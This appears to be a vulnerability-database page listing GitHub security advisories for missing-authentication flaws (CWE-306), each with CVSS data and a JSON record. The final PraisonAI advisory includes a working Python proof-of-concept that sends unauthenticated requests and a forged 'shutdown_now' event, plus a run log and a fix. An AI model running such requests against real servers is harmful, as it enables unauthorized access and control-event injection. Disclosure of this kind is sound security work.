Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-7CQH-GQ37-64W3

Vulnerability from github – Published: 2025-11-11 21:30 – Updated: 2025-11-11 21:30
VLAI
Details

A vulnerability has been identified in LOGO! 12/24RCE (6ED1052-1MD08-0BA2) (All versions), LOGO! 12/24RCEo (6ED1052-2MD08-0BA2) (All versions), LOGO! 230RCE (6ED1052-1FB08-0BA2) (All versions), LOGO! 230RCEo (6ED1052-2FB08-0BA2) (All versions), LOGO! 24CE (6ED1052-1CC08-0BA2) (All versions), LOGO! 24CEo (6ED1052-2CC08-0BA2) (All versions), LOGO! 24RCE (6ED1052-1HB08-0BA2) (All versions), LOGO! 24RCEo (6ED1052-2HB08-0BA2) (All versions), SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA2) (All versions), SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA2) (All versions), SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA2) (All versions), SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA2) (All versions), SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA2) (All versions), SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA2) (All versions), SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA2) (All versions), SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA2) (All versions). Affected devices do not conduct certain validations when interacting with them. This could allow an unauthenticated remote attacker to manipulate the devices IP address, which means the device would not be reachable.

Severity
7.6 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
7.2 (High)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T21:15:38Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in LOGO! 12/24RCE (6ED1052-1MD08-0BA2) (All versions), LOGO! 12/24RCEo (6ED1052-2MD08-0BA2) (All versions), LOGO! 230RCE (6ED1052-1FB08-0BA2) (All versions), LOGO! 230RCEo (6ED1052-2FB08-0BA2) (All versions), LOGO! 24CE (6ED1052-1CC08-0BA2) (All versions), LOGO! 24CEo (6ED1052-2CC08-0BA2) (All versions), LOGO! 24RCE (6ED1052-1HB08-0BA2) (All versions), LOGO! 24RCEo (6ED1052-2HB08-0BA2) (All versions), SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA2) (All versions), SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA2) (All versions), SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA2) (All versions), SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA2) (All versions), SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA2) (All versions), SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA2) (All versions), SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA2) (All versions), SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA2) (All versions). Affected devices do not conduct certain validations when interacting with them. This could allow an unauthenticated remote attacker to manipulate the devices IP address, which means the device would not be reachable.",
  "id": "GHSA-7cqh-gq37-64w3",
  "modified": "2025-11-11T21:30:28Z",
  "published": "2025-11-11T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40816"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-267056.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7CV8-6RQ8-2GFQ

Vulnerability from github – Published: 2026-09-15 21:32 – Updated: 2026-09-15 21:32
VLAI
Details

Vulnerability in the Oracle Utilities Network Management System product of Oracle Utilities Applications (component: System Wide). Supported versions that are affected are 2.5.0.2.0-2.5.0.2.13, 2.6.0.1.0-2.6.0.12B, 2.6.0.2.0-2.6.0.2.10A and 25.12.0.0.0-25.12.0.0.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Utilities Network Management System. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Utilities Network Management System accessible data as well as unauthorized update, insert or delete access to some of Oracle Utilities Network Management System accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-83343"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T20:18:47Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle Utilities Network Management System product of Oracle Utilities Applications (component: System Wide).  Supported versions that are affected are 2.5.0.2.0-2.5.0.2.13, 2.6.0.1.0-2.6.0.12B, 2.6.0.2.0-2.6.0.2.10A and  25.12.0.0.0-25.12.0.0.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Utilities Network Management System.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Utilities Network Management System accessible data as well as  unauthorized update, insert or delete access to some of Oracle Utilities Network Management System accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).",
  "id": "GHSA-7cv8-6rq8-2gfq",
  "modified": "2026-09-15T21:32:35Z",
  "published": "2026-09-15T21:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83343"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspusep2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CVP-JG2X-QVQG

Vulnerability from github – Published: 2024-07-25 18:32 – Updated: 2024-08-26 18:33
VLAI
Details

Positron Broadcast Signal Processor TRA7005 v1.20 is vulnerable to an authentication bypass exploit that could allow an attacker to have unauthorized access to protected areas of the application.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-25T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "Positron Broadcast Signal Processor TRA7005 v1.20 is vulnerable to an authentication bypass exploit that could allow an attacker to have unauthorized access to protected areas of the application.",
  "id": "GHSA-7cvp-jg2x-qvqg",
  "modified": "2024-08-26T18:33:32Z",
  "published": "2024-07-25T18:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7007"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-207-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7CW6-9V6G-P6M5

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

APITable through 1.13.0-beta.1 annotates the create handler of InternalNotifyController with requiredLogin = false. ResourceInterceptor honours that annotation by returning before any session or API key is validated, and the nginx gateway shipped with the product proxies every /api request to the backend server, so POST /api/v1/internal/notification/create is reachable by any unauthenticated client that can reach the gateway. An attacker can persist arbitrary notifications in apitable_player_notification against any user ID they name, and because fromUserId can be set to 0 the message is stored with the system sender and renders in the victim's inbox as a legitimate system notification. The body extras content is stored verbatim and forwarded to the frontend.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-80207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:20:50Z",
    "severity": "MODERATE"
  },
  "details": "APITable through 1.13.0-beta.1 annotates the create handler of InternalNotifyController with requiredLogin = false. ResourceInterceptor honours that annotation by returning before any session or API key is validated, and the nginx gateway shipped with the product proxies every /api request to the backend server, so POST /api/v1/internal/notification/create is reachable by any unauthenticated client that can reach the gateway. An attacker can persist arbitrary notifications in apitable_player_notification against any user ID they name, and because fromUserId can be set to 0 the message is stored with the system sender and renders in the victim\u0027s inbox as a legitimate system notification. The body extras content is stored verbatim and forwarded to the frontend.",
  "id": "GHSA-7cw6-9v6g-p6m5",
  "modified": "2026-08-27T18:32:25Z",
  "published": "2026-08-27T18:32:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apitable/apitable/issues/1813"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apitable/apitable"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apitable/apitable/blob/88b24ce9f359cc434778be75d03603182882dc76/backend-server/application/src/main/java/com/apitable/internal/controller/InternalNotifyController.java#L50"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/apitable-through-1.13.0-beta.1-missing-authentication-on-the-internal-notification-create-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7F4F-856Q-69WC

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

9Router through version 0.4.41 contains an unauthenticated access vulnerability that allows remote attackers to interact with provider management API endpoints by sending requests without any credentials due to missing authentication middleware in the Next.js API routes under src/app/api/providers/*. Attackers can enumerate, create, modify, or delete provider connections to expose partial credentials, OAuth tokens, and API keys, redirect AI traffic to attacker-controlled servers, or cause complete denial of service by deleting all provider connections.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-59801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "9Router through version 0.4.41 contains an unauthenticated access vulnerability that allows remote attackers to interact with provider management API endpoints by sending requests without any credentials due to missing authentication middleware in the Next.js API routes under src/app/api/providers/*. Attackers can enumerate, create, modify, or delete provider connections to expose partial credentials, OAuth tokens, and API keys, redirect AI traffic to attacker-controlled servers, or cause complete denial of service by deleting all provider connections.",
  "id": "GHSA-7f4f-856q-69wc",
  "modified": "2026-07-14T00:31:03Z",
  "published": "2026-07-14T00:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-vjc7-jrh9-9j86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59801"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/9router-unauthenticated-api-exposure-via-api-providers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7F8R-222P-6F5G

Vulnerability from github – Published: 2025-06-13 22:15 – Updated: 2025-07-09 20:18
VLAI
Summary
MCP Inspector proxy server lacks authentication between the Inspector client and proxy
Details

Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. Users should immediately upgrade to version 0.14.1 or later to address these vulnerabilities.

Credit: Rémy Marot bughunters@tenable.com

Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@modelcontextprotocol/inspector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-49596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-13T22:15:26Z",
    "nvd_published_at": "2025-06-13T20:15:23Z",
    "severity": "CRITICAL"
  },
  "details": "Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. Users should immediately upgrade to version 0.14.1 or later to address these vulnerabilities.\n\nCredit: R\u00e9my Marot \u003cbughunters@tenable.com\u003e",
  "id": "GHSA-7f8r-222p-6f5g",
  "modified": "2025-07-09T20:18:37Z",
  "published": "2025-06-13T22:15:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-7f8r-222p-6f5g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/inspector/commit/50df0e1ec488f3983740b4d28d2a968f12eb8979"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/inspector"
    },
    {
      "type": "WEB",
      "url": "https://thenewstack.io/mcp-vulnerability-exposes-the-ai-untrusted-code-crisis"
    },
    {
      "type": "WEB",
      "url": "https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Inspector proxy server lacks authentication between the Inspector client and proxy"
}

GHSA-7FVR-FHQP-5GHM

Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-18 03:30
VLAI
Details

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 22.0.1026 and Application prior to version 20.0.2702 (only VA deployments) expose an unauthenticated firmware-upload flow: a public page returns a signed token usable at va-api/v1/update, and every Docker image contains the appliance’s private GPG key and hard-coded passphrase. An attacker who extracts the key and obtains a token can decrypt, modify, re-sign, upload, and trigger malicious firmware, gaining remote code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-34215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 22.0.1026 and Application prior to version 20.0.2702 (only VA deployments) expose an unauthenticated firmware-upload flow: a public page returns a signed token usable at va-api/v1/update, and every Docker image contains the appliance\u2019s private GPG key and hard-coded passphrase. An attacker who extracts the key and obtains a token can decrypt, modify, re-sign, upload, and trigger malicious firmware, gaining remote code execution.",
  "id": "GHSA-7fvr-fhqp-5ghm",
  "modified": "2025-10-18T03:30:24Z",
  "published": "2025-09-29T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34215"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-rce-02"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-unauth-firmware-update-endpoint-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7G3P-92QQ-8WVH

Vulnerability from github – Published: 2026-08-25 14:31 – Updated: 2026-08-25 14:31
VLAI
Summary
praisonaiagents: AgentServer declares auth_token but never enforces it on any route
Details

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonaiagents on PyPI Affected version (empirically tested): 1.6.48 Component: praisonaiagents.server.AgentServer (the bundled HTTP / SSE server)

TL;DR

AgentServer.ServerConfig advertises an auth_token: Optional[str] = None field that operators set when they want to lock down the server. The GET /info endpoint even displays it back as "auth_token": "***" — strongly implying the value is wired into request authentication.

It isn't. AgentServer._create_app never reads auth_token, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — /info, /publish, /events, /health — accepts unauthenticated requests regardless of whether auth_token is configured.

The same package contains a sibling server, praisonaiagents.ui.a2a.A2A, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's Depends(_verify_auth). This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to AgentServer.

Root cause

   Expected behavior when setting ServerConfig(auth_token="…"):
     "Only requests with a matching Authorization header will be
      accepted on /publish, /events, /info."

   Actual behavior (server/server.py, dist 1.6.48):
     - line 31    auth_token: Optional[str] = None   # declared
     - line 39    "auth_token": "***" if self.auth_token else None  # displayed
     - lines 122-204:  no auth middleware, no Depends, no
                       request.headers["Authorization"] read,
                       no comparison to self.config.auth_token.

   Impact:
     The configuration knob is dead code from the route handlers'
     perspective.  All routes always run.  The operator has no signal
     that their auth_token was discarded — /info even confirms it
     was received by displaying "***".

Sibling proof — the same package gets it right elsewhere

praisonaiagents/ui/a2a/a2a.py:

# line 163
async def _verify_auth(authorization: Optional[str] = Header(None)):
    """Verify bearer token if auth_token is configured."""
    if self.auth_token is None:
        return
    ...
    if len(parts) != 2 or parts[0].lower() != "bearer" \
            or parts[1] != self.auth_token:
        raise HTTPException(status_code=401, ...)

# line 192
from fastapi import Depends
_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []

That is the missing implementation. Porting it to AgentServer — either via Starlette BaseHTTPMiddleware or by switching to FastAPI and adding Depends(_verify_auth) to each route — closes the gap.

Affected routes (empirically tested)

Route Method Accepts unauth requests? Impact
/info GET Yes (200) Leaks server config; confirms auth_token is set ("***"); reveals client count and CORS config.
/publish POST Yes (200) Anyone broadcasts arbitrary {type, data} to every subscribed agent. Event payload is whatever the attacker sends.
/events GET Yes (200) Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker).
/health GET Yes (200) Leaks live SSE client count.

Impact

The /publish and /events routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:

  1. Inject control events into every agent process subscribed to the server. AgentServer.broadcast(event_type, data) puts the payload into every SSEClient.queue; any consumer dispatching on event_type will dispatch on the attacker-chosen type. Real deployments register handlers per event type via AgentServer.on_event(...); an attacker who can guess (or enumerate via /info + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen data.
  2. Eavesdrop on the entire event bus by subscribing to /events. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the auth_token wall.
  3. Pivot via leaked config. /info is sufficient to enumerate cors_origins (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set auth_token, signalling a high-value target.

SSEClient.queue is a queue.Queue with no documented size cap; the event broadcaster does not check max_connections against publishers, only subscribers. An attacker can also flood /publish to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.

Anchors

praisonaiagents 1.6.48, file praisonaiagents/server/server.py:

Line Symbol What it shows
31 auth_token: Optional[str] = None Declared.
39 "auth_token": "***" if self.auth_token else None Displayed (masked) in /info.
121 def _create_app(self): Route + middleware setup begins.
132 async def health(request): No auth check.
139 async def events(request): No auth check.
164 async def publish(request): No auth check.
182 async def info(request): No auth check.
190 routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)] Routes registered without Depends/middleware.
197 app = Starlette(routes=routes) App created.
200 app = CORSMiddleware(app, …) Only middleware added.

Source sha256 (1.6.48, praisonaiagents/server/server.py): aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4 (9,962 bytes).

Sibling (same package, same field name, enforced): praisonaiagents/ui/a2a/a2a.py:163-193.

Reproduction (empirical PoC)

poc/poc.py starts AgentServer with ServerConfig(auth_token="supersecret-not-actually-checked") and then sends unauthenticated requests to each route.

Run log (poc/run-log.txt):

[1] GET /info     (no Authorization) -> HTTP 200
    body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0,
           "config":{"host":"127.0.0.1","port":18765,"cors_origins":[],
                     "auth_token":"***","max_connections":100}}
[2] POST /publish (no Authorization) -> HTTP 200
    body: {"success":true,"clients":0}
[3] GET /health   (no Authorization) -> HTTP 200
[4] GET /events   (no Authorization) -> HTTP 200

VULNERABLE: 4 unauthenticated routes
VERDICT: VULNERABLE
EXIT 0

Suggested fix

Make AgentServer reuse the A2A pattern. Smallest fix:

# in _create_app, after `app = Starlette(routes=routes)`:
if self.config.auth_token:
    from starlette.middleware.base import BaseHTTPMiddleware
    from starlette.responses import JSONResponse

    expected = "Bearer " + self.config.auth_token

    class _Auth(BaseHTTPMiddleware):
        async def dispatch(self, request, call_next):
            if request.url.path == "/health":     # if /health should remain public
                return await call_next(request)
            got = request.headers.get("authorization", "")
            if not hmac.compare_digest(got, expected):
                return JSONResponse({"error": "unauthorized"}, status_code=401)
            return await call_next(request)

    app = _Auth(app)

app = CORSMiddleware(app, ...)

Constant-time comparison (hmac.compare_digest) is appropriate since this is a network-comparable secret.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.

The ServerConfig dataclass declares `auth_token: Optional[str] = None` and
the /info endpoint reports it as "***" when set, giving operators the
impression that requests will be authenticated.  In reality,
AgentServer._create_app never reads auth_token, never adds an auth
middleware, and never decorates any route with Depends(_verify_auth).

This PoC starts AgentServer with auth_token="supersecret", then hits
every route without any Authorization header.  All requests succeed.
"""

import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

from praisonaiagents.server import AgentServer, ServerConfig

PORT = 18765
AUTH_TOKEN = "supersecret-not-actually-checked"

def http_request(method, path, body=None, headers=None):
    url = f"http://127.0.0.1:{PORT}{path}"
    data = None
    if body is not None:
        data = json.dumps(body).encode("utf-8")
    req = Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urlopen(req, timeout=5) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace")
    except URLError as e:
        return None, f"URLError: {e}"

def main() -> int:
    print("=" * 70)
    print(f"praisonaiagents version: 1.6.48")
    print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}")
    print(f"      then send UNAUTHENTICATED requests to every route.")
    print("=" * 70)

    config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])
    server = AgentServer(config=config)
    server.start(blocking=False)
    time.sleep(1.0)  # wait for uvicorn to be ready

    findings = []

    code, body = http_request("GET", "/info")
    info_data = None
    try:
        info_data = json.loads(body)
    except Exception:
        pass
    print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***":
        findings.append("/info: unauthenticated; leaks that auth_token IS configured")

    payload = {"type": "attacker_injected_event",
               "data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}}
    code, body = http_request("POST", "/publish", body=payload)
    print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200:
        try:
            ok = json.loads(body).get("success") is True
        except Exception:
            ok = False
        if ok:
            findings.append("/publish: unauthenticated event broadcast to all SSE clients")

    code, body = http_request("GET", "/health")
    print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}")
    if code == 200:
        findings.append("/health: unauthenticated; leaks live client count")

    sse_status = []
    def sse_reader():
        try:
            req = Request(f"http://127.0.0.1:{PORT}/events", method="GET")
            with urlopen(req, timeout=3) as resp:
                sse_status.append(f"HTTP {resp.status}")
                try:
                    chunk = resp.read(64)
                    sse_status.append(f"first-chunk-bytes={len(chunk)}")
                except Exception as e:
                    sse_status.append(f"chunk-read: {e}")
        except Exception as exc:
            sse_status.append(f"ERR: {exc}")
    t = threading.Thread(target=sse_reader, daemon=True)
    t.start()
    time.sleep(2.0)
    print(f"\n[4] GET /events (no Authorization header) -> {sse_status}")
    if sse_status and sse_status[0] == "HTTP 200":
        findings.append("/events: unauthenticated SSE subscription accepted")

    print("\n" + "=" * 70)
    if findings:
        print(f"VULNERABLE: {len(findings)} unauthenticated routes")
        for f in findings:
            print(f"  - {f}")
        print("VERDICT: VULNERABLE")
        return 0
    print("DEFENDED")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK)
for p in ["praisonaiagents","praisonaiagents.server"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg
